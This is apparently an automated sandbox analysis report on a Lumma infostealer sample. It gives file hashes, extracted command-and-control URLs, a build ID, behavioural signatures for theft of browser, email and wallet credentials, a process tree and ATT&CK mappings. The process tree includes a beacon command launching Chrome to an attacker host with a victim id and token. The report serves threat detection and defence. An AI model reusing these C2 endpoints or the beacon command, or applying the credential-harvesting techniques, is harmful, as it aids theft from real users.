Analysis
- max time kernel
149s - max time network
151s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
24/05/2026, 17:29
Static task
static1
Behavioral task
behavioral1
Sample
tmp4n2dav5t.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
tmp4n2dav5t.exe
Resource
win10v2004-20260513-en
General
- Target tmp4n2dav5t.exe
- Size 2.2MB
- Sample260524-v2zpgact8l
- SHA256 a3d5651526901f3b2752ec485b840b8dc5cc4fce872d5c19d795be9be255fde7
- MD5 5ac1f7bb6b5280f344bd10d1be424a94
- SHA1 999efe2b1a3f7d15e38395387cc13d2ebd5718a7
- SHA512 fe9534ec93c2fd96b7038f55e0ed08d5425d84f4c6d0dc0e77b616742e362b057f60fb60e77eac4e413b746cf385b563f9c626013f6e6a2b246e7b3b52c9ab53
- SSDEEP 24576:V5uJ/YW5d6NwLb3ezR/a4qkYDYhDEneNUUKlIA5+OQRvXGiDvIhAOPGvKlyMCfdO:V2zoh9JSqXfKyKHJvnoE7okxlEJ
- TLSH T10AB56C80A9D340B2D646223290B673AB67305C0D0F3DDB53DAA5BDF9BA7F7821837645
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
lumma
-
https://springvc.cyou
-
https://decrnoj.club/xxx
-
https://pomflgf.vu/help
-
https://carytui.vu/caccc
-
https://mushxhb.best/info
-
https://genugsq.best/main
-
https://ulmudhw.shop/create
-
https://strikql.shop/owner
-
https://longmbx.click/manifest
-
build_id
83af73e8484fc9f764374a223760d87d773a2c346e
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmp4n2dav5t.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4392 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134241174512216695" chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 2144 chrome.exe 2144 chrome.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe 4948 tmp4n2dav5t.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe Token: SeShutdownPrivilege 2144 chrome.exe Token: SeCreatePagefilePrivilege 2144 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe 2144 chrome.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4948 wrote to memory of 2144 4948 tmp4n2dav5t.exe 90 PID 2144 wrote to memory of 3908 2144 chrome.exe 91 PID 2144 wrote to memory of 1012 2144 chrome.exe 92 PID 2144 wrote to memory of 1012 2144 chrome.exe 92 PID 2144 wrote to memory of 4392 2144 chrome.exe 93 PID 2144 wrote to memory of 2524 2144 chrome.exe 94 PID 2144 wrote to memory of 2524 2144 chrome.exe 94 PID 2144 wrote to memory of 3896 2144 chrome.exe 96 PID 2144 wrote to memory of 3896 2144 chrome.exe 96 PID 2144 wrote to memory of 2600 2144 chrome.exe 97 PID 2144 wrote to memory of 2600 2144 chrome.exe 97 PID 2144 wrote to memory of 4112 2144 chrome.exe 98 PID 2144 wrote to memory of 4112 2144 chrome.exe 98 PID 2144 wrote to memory of 3364 2144 chrome.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp4n2dav5t.exe"C:\Users\Admin\AppData\Local\Temp\tmp4n2dav5t.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=357889F1BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome2⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffeab23c728,0x7ffeab23c734,0x7ffeab23c7403⤵PID:3908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1772,i,15084039357478249838,985788506508920368,262144 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1988 /prefetch:23⤵PID:1012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1672,i,4249324783406610471,17801137107609922659,524288 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2336 /prefetch:33⤵
- System Time Discovery
PID:4392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,1436999101872069238,173504262576567661,524288 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2580 /prefetch:83⤵PID:2524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3192,i,2727030943520410551,15667013692871421107,2097152 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3212 /prefetch:13⤵PID:3896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,16158640780224109029,17020115908073625822,2097152 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3240 /prefetch:13⤵PID:2600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4072,i,762252243275152428,3354045695977397966,2097152 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4088 /prefetch:23⤵PID:4112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5168,i,3671546043068466411,4538849456358194172,524288 --field-trial-handle=1996,i,8592699586810628220,1461153623555845658,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5156 /prefetch:83⤵PID:3364
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1732
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:452
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 6bc07d39587ca42db2df296052d2168ed4a837bba117bc7db90878fea07d53cd
- MD5 be35da8be1f813698af9ce2a8ffe923e
- SHA1 718865f3829a49476500bc0cf9aa1a3dc72c6218
- SHA512 d189187cb00d87c1c234ad6e95fbd2c9c4355fe5d158f8582ba0556f92b15d91f2c2378349ba1319455d8d504984b1a80cad7b3e6830f1e7a5f8bd62f016a75d
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OIxHJVumtn3:1nbZeMrv/hGtIZn3
- TLSH T143D3764B3AB43102EDE59A721CE051BF5D3CB16D4F55A5D428B620688EF2863A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 382740bbb42c6b2e29bb5f7e3d819bba67201f4f4865fb671559acc88aa7d458
- MD5 af6006211f3d38d35e84b726671dd5f5
- SHA1 2b185af1736f564ec22e72d5bface5288e423725
- SHA512 41b3b7429a0f6a4382a8cefe9fdd885231df83f8263e1721621ca231d450568c0f012f286b3dda982143fb55618fc5bf5f0530f7a34ba66b3250a6daac59237b
- SSDEEP 3072:jEajfaNqkTzjzEndotdvR01Ad4DzaDtBKU7f2GuO48mK0v81N:fjSNqOjQC362d4YtkMf2GuP8mKm+N
- TLSH T16FC302D1CBF2CC9BC22542CDF4355B9A49D08DA4E945EA8663DA3B5B382F1CA7E03531
- MD5 SHA1 SHA512 SSDEEP TLSH